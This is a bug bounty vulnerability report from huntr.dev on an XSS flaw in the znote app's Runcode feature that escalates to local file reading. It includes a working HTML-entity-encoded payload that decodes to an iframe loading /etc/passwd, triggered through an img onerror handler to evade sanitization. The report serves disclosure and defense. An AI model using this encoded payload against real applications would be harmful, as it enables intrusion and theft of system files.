Lucene search

K
huntrRezaduty8B429330-3096-4FE4-85E0-1A9143E4DCA5
HistoryNov 28, 2022 - 5:42 a.m.

XSS to LFI in Runcode Feature

2022-11-2805:42:02
rezaduty
www.huntr.dev
7
xss
lfi
runcode
document sanitization
html encode
onerror event
proof of concept
github issue
bugbounty

0.001 Low

EPSS

Percentile

20.2%

Description

By default runcode santized document prefix but if html encode to &#0000100&#0000111&#000099&#0000117&#0000109&#0000101&#0000110&#0000116&#000046&#0000119&#0000114&#0000105&#0000116&#0000101&#000040&#000039&#000060&#0000105&#0000102&#0000114&#000097&#0000109&#0000101&#000032&#0000115&#0000114&#000099&#000061&#0000102&#0000105&#0000108&#0000101&#000058&#000047&#000047&#000047&#0000101&#0000116&#000099&#000047&#0000112&#000097&#0000115&#0000115&#0000119&#0000100&#000062&#000060&#000047&#0000105&#0000102&#0000114&#000097&#0000109&#0000101&#000062&#000039&#000041
then we can inserted html encoded func to html tag event like onerror
<img src>

POC:
https://drive.google.com/file/d/1_Jh133kMAqMf8AUWrrjbOqRQpHSKlVyO/view?usp=sharing
https://drive.google.com/file/d/1ek5dg4PG3rADuUPPXUOlKE6qSVGmKdZB/view?usp=sharing

Proof of Concept

<img src>

Github issue:
https://github.com/alagrede/znote-app/issues/73

0.001 Low

EPSS

Percentile

20.2%

Related for 8B429330-3096-4FE4-85E0-1A9143E4DCA5